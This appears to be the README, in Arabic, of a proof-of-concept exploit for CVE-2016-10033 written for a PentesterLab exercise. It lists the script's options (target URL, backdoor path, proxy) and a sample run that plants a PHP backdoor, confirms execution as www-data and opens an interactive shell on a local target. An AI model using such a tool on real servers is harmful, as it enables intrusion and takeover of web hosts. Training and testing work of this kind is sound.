
إثبات مفهوم لـ CVE-2016-10033 أنشأته لـ PentesterLab
كتبت هذا لـ PentesterLab
إذا كنت من PentesterLab لا تغش، فمن الأفضل كثيرًا أن تتعلم.
آمل أن يكون مفيدًا لشخص ما، إن لم يكن لي في المستقبل :)
يحتوي على شيل تفاعلي، وأشياء argparse رائعة أيضًا.
usage: poc.py [-h] [--target TARGET] [--backdoor BACKDOOR] [--proxy] [--raw] [--no-color]
options:
-h, --help show this help message and exit
--target TARGET Target URL
--backdoor BACKDOOR Backdoor path
--proxy Use local proxy
--raw Show raw output
--no-color Disable colored output
$ python3 poc.py --target http://localhost:8000 --proxy
[+] Using random backdoor name: caxvcs009f.php
[+] Sending exploit to target...
[+] Testing backdoor...
[+] Backdoor working! Test output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Starting interactive shell...
[+] Type "exit" to quit
--------------------------------------------------
shell> whoami
www-data